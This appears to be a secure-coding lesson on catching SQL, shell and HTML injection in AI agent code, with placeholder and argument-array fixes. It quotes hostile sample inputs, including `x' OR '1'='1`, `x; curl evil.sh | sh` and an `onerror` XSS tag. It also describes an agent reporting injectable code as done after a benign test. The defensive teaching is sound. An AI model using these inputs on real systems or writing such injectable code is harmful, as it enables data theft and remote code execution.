String-built SQL, shell commands and HTML
Spot injection risks in agent code: f-string or concatenated SQL, `shell=True` or `exec` with interpolated input, and `innerHTML` or unescaped templates. Replace each with parameterised queries, argument arrays or safe encoding.
Builds on: Trust boundaries and untrusted input
The search filter that passed its test
You asked the agent to add a name filter to the user search endpoint. A few minutes later it reports back. The query works, the new test passes with `name="alice"`, and the summary says "added filtering by name". Reading the diff, you see the SQL is built with an f-string that drops `name` straight into the query text. Is this change done?
Why pasting values in looks fine to the agent
To the agent, a query, a shell command or a page of HTML is just text, and pasting the value in is the shortest way to build that text. It is also everywhere in the code the agent learned from. Its own check runs with a normal value, so it passes. Injection only appears with hostile input, and no test sends any. **Later cost:** someone can read or delete data, run commands on your server, or run scripts in other users' browsers.
The tells and their fixes
**Tell:** an untrusted value pasted into text that a database, shell or browser will parse. Look for:
- SQL built with f-strings, `+`, `%`, `.format`, template literals, `fmt.Sprintf` or `String.format`
- `shell=True`, `os.system`, Node `exec`, or `sh -c` with a value inside
- `innerHTML`, `dangerouslySetInnerHTML`, `v-html` or `|safe`. For example, `innerHTML` turns a name like `<img src=x onerror=alert(1)>` into a live element whose `onerror` script runs.
**Fix:** pass the value as data, using placeholders, argument arrays, `textContent` or auto-escaping templates. Table and column names can't be placeholders, so check them against an allowlist.
SQL: from f-string to placeholder
The agent wrote the `-` lines. If someone sends `name` = `x' OR '1'='1`, the WHERE clause becomes always true and the query returns every user's email. In the `+` lines the value is handed to the driver separately from the SQL text, so the database never parses it as SQL. Each driver has its own placeholder syntax: `?` in sqlite3, `$1` in node-postgres, `%s` in psycopg. With psycopg the values still go in a separate tuple. The `%s` there is a marker for the driver, not Python's `%` operator.
// Python
--- a/app/users.py
+++ b/app/users.py
def find_users(db, name):
- q = (f"SELECT id, email FROM users "
- f"WHERE name = '{name}'")
- return db.execute(q).fetchall()
+ return db.execute(
+ "SELECT id, email FROM users "
+ "WHERE name = ?",
+ (name,),
+ ).fetchall()
Shell: one string vs an argument array
To list a user's commits, the agent wrote the BAD line. If `who` is `x; curl evil.sh | sh`, the shell runs a second command that downloads and runs a script. In the BETTER line no shell is involved, and the whole value stays one argument after `--author=`. The same idea applies elsewhere: Node `execFile` instead of `exec`, and Go `exec.Command("git", ...)` instead of `"sh", "-c"`. When a value is its own argument, put `--` before it so a value starting with `-` can't be read as an option.
// Python
# BAD
subprocess.run(f"git log --author={who}", shell=True)
# BETTER
subprocess.run(["git", "log", f"--author={who}"])
Pass values as data, never as text
If untrusted input is pasted into text that a database, shell or browser will parse, that is a tell. Use parameterised queries, argument arrays, `textContent` or auto-escaping templates instead. Tests with normal input stay green either way, so judge the code by how it builds the string, not by whether it ran.
On Bytewise this lesson comes in small steps with a check at the end, and the app brings it back right before you would forget it.